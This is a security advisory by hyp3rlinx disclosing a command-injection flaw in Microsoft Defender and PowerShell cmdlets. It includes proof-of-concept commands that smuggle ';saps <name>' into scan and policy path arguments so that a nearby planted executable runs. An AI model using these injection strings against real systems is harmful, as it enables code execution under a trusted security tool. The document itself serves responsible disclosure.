Headline
Microsoft Defender Anti-Malware PowerShell API Arbitrary Code Execution
Microsoft Defender API and PowerShell APIs suffer from an arbitrary code execution due to a flaw in powershell not handling user provided input that contains a semicolon.
[+] Credits: John Page (aka hyp3rlinx) [+] Website: hyp3rlinx.altervista.org[+] Source: http://hyp3rlinx.altervista.org/advisories/MICROSOFT_DEFENDER_ANTI_MALWARE_POWERSHELL_API_UNINTENDED_CODE_EXECUTION.txt[+] twitter.com/hyp3rlinx[+] x.com/hyp3rlinx[+] ISR: ApparitionSec [Vendor]www.microsoft.com[Product]Windows PowerShell[Vulnerability Type]Arbitrary Code Execution[CVE Reference]N/A[Security Issue]Microsoft Defender Anti Malware and or PS API's can result in executing arbitrary code.E.g. scan a directory, shortcut .lnk or even non-existent item, may execute unintended code.This vector builds upon my previous advisory and subsequent project PSTrojanFile.Requirements:1) On CL 'powershell' cmd is prefixed or passed in by calling PowerShell from another script2) Executable file of same name as the parameter that lives nearbyExamples:powershell Start-MpScan -Scanpath "C:\Users\gg\Downloads\;saps Helper;.1.zip"(Helper.exe lives on Desktop)Create directory ";saps Test", Test.exe, Test.cmd etc is on same CL pathpowershell Add-MpPreference -ControlledFolderAccessAllowedApplications ";saps Test"Create directory with semicolon, drop PE file named doom.exe in same path.powershell Set-ProcessMitigation -PolicyFilePath "test;saps doom"TODO: Update PSTrojanFile[References]http://hyp3rlinx.altervista.org/advisories/MICROSOFT-WINDOWS-POWERSHELL-UNSANITIZED-FILENAME-COMMAND-EXECUTION.txthttps://github.com/hyp3rlinx/PSTrojanFilehttps://packetstormsecurity.com/files/153863/Microsoft-Windows-PowerShell-Command-Execution.htmlhttps://www.exploit-db.com/exploits/47248https://github.com/MicrosoftDocs/windows-powershell-docs/tree/main/docset/winserver2019-ps/defender[Video PoC URL]https://www.youtube.com/watch?v=0Go6yJiRWP8[Network Access]Remote [Severity]High[Disclosure Timeline]Vendor Notification: circa (2019)December 7, 2023 : Public Disclosure[+] DisclaimerThe information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, andthat due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due creditis given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibilityfor any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related informationor exploits by the author or elsewhere. All content (c).hyp3rlinx